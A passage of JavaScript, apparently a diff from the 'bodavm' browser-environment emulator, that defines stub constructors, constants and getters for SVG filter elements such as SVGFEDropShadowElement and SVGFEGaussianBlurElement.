set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFEDisplacementMapElement对象 -bodavm.memory.globalobj['SVGFEDisplacementMapElement'] = function SVGFEDisplacementMapElement(){if (!(this instanceof SVGFEDisplacementMapElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDisplacementMapElement'], "SVGFEDisplacementMapElement"); -bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEDisplacementMapElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_A", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_B", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_G", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_R", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_A", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_B", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_G", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_R", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "SVG_CHANNEL_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "in2", {configurable:true, enumerable:true, get:function in2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "in2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "scale", {configurable:true, enumerable:true, get:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "scale_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "xChannelSelector", {configurable:true, enumerable:true, get:function xChannelSelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "xChannelSelector_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "yChannelSelector", {configurable:true, enumerable:true, get:function yChannelSelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "yChannelSelector_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDisplacementMapElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFEDistantLightElement对象 -bodavm.memory.globalobj['SVGFEDistantLightElement'] = function SVGFEDistantLightElement(){if (!(this instanceof SVGFEDistantLightElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDistantLightElement'], "SVGFEDistantLightElement"); -bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEDistantLightElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEDistantLightElement', "azimuth", {configurable:true, enumerable:true, get:function azimuth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype, "SVGFEDistantLightElement", "azimuth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDistantLightElement', "elevation", {configurable:true, enumerable:true, get:function elevation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype, "SVGFEDistantLightElement", "elevation_get", arguments)}, set:undefined},'prototype'); - -// SVGFEDropShadowElement对象 -bodavm.memory.globalobj['SVGFEDropShadowElement'] = function SVGFEDropShadowElement(){if (!(this instanceof SVGFEDropShadowElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDropShadowElement'], "SVGFEDropShadowElement"); -bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEDropShadowElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "dx", {configurable:true, enumerable:true, get:function dx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "dx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "dy", {configurable:true, enumerable:true, get:function dy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "dy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "stdDeviationX", {configurable:true, enumerable:true, get:function stdDeviationX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "stdDeviationX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "stdDeviationY", {configurable:true, enumerable:true, get:function stdDeviationY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "stdDeviationY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "setStdDeviation", {configurable:true, enumerable:true, writable:true, value:function setStdDeviation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "setStdDeviation", arguments)}},'prototype'); - -// SVGFEFloodElement对象 -bodavm.memory.globalobj['SVGFEFloodElement'] = function SVGFEFloodElement(){if (!(this instanceof SVGFEFloodElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFloodElement'], "SVGFEFloodElement"); -bodavm.memory.globalobj['SVGFEFloodElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEFloodElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFEFuncAElement对象 -bodavm.memory.globalobj['SVGFEFuncAElement'] = function SVGFEFuncAElement(){if (!(this instanceof SVGFEFuncAElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncAElement'], "SVGFEFuncAElement"); -bodavm.memory.globalobj['SVGFEFuncAElement'].prototype.__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; -bodavm.memory.globalobj['SVGFEFuncAElement'].__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); - -// SVGFEFuncBElement对象 -bodavm.memory.globalobj['SVGFEFuncBElement'] = function SVGFEFuncBElement(){if (!(this instanceof SVGFEFuncBElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncBElement'], "SVGFEFuncBElement"); -bodavm.memory.globalobj['SVGFEFuncBElement'].prototype.__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; -bodavm.memory.globalobj['SVGFEFuncBElement'].__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); - -// SVGFEFuncGElement对象 -bodavm.memory.globalobj['SVGFEFuncGElement'] = function SVGFEFuncGElement(){if (!(this instanceof SVGFEFuncGElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncGElement'], "SVGFEFuncGElement"); -bodavm.memory.globalobj['SVGFEFuncGElement'].prototype.__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; -bodavm.memory.globalobj['SVGFEFuncGElement'].__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); - -// SVGFEFuncRElement对象 -bodavm.memory.globalobj['SVGFEFuncRElement'] = function SVGFEFuncRElement(){if (!(this instanceof SVGFEFuncRElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncRElement'], "SVGFEFuncRElement"); -bodavm.memory.globalobj['SVGFEFuncRElement'].prototype.__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; -bodavm.memory.globalobj['SVGFEFuncRElement'].__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); - -// SVGFEGaussianBlurElement对象 -bodavm.memory.globalobj['SVGFEGaussianBlurElement'] = function SVGFEGaussianBlurElement(){if (!(this instanceof SVGFEGaussianBlurElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEGaussianBlurElement'], "SVGFEGaussianBlurElement"); -bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEGaussianBlurElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "stdDeviationX", {configurable:true, enumerable:true, get:function stdDeviationX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "stdDeviationX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "stdDeviationY", {configurable:true, enumerable:true, get:function stdDeviationY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "stdDeviationY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "setStdDeviation", {configurable:true, enumerable:true, writable:true, value:function setStdDeviation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "setStdDeviation", arguments)}},'prototype'); - -// SVGFEImageElement对象 -bodavm.memory.globalobj['SVGFEImageElement'] = function SVGFEImageElement(){if (!(this instanceof SVGFEImageElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEImageElement'], "SVGFEImageElement"); -bodavm.memory.globalobj['SVGFEImageElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEImageElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "href_get", arguments)}, set:undefined},'prototype'); - -// SVGFEMergeElement对象 -bodavm.memory.globalobj['SVGFEMergeElement'] = function SVGFEMergeElement(){if (!(this instanceof SVGFEMergeElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMergeElement'], "SVGFEMergeElement"); -bodavm.memory.globalobj['SVGFEMergeElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEMergeElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFEMergeNodeElement对象 -bodavm.memory.globalobj['SVGFEMergeNodeElement'] = function SVGFEMergeNodeElement(){if (!(this instanceof SVGFEMergeNodeElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMergeNodeElement'], "SVGFEMergeNodeElement"); -bodavm.memory.globalobj['SVGFEMergeNodeElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEMergeNodeElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEMergeNodeElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeNodeElement'].prototype, "SVGFEMergeNodeElement", "in1_get", arguments)}, set:undefined},'prototype'); - -// SVGFEMorphologyElement对象 -bodavm.memory.globalobj['SVGFEMorphologyElement'] = function SVGFEMorphologyElement(){if (!(this instanceof SVGFEMorphologyElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMorphologyElement'], "SVGFEMorphologyElement"); -bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEMorphologyElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_DILATE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_ERODE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', 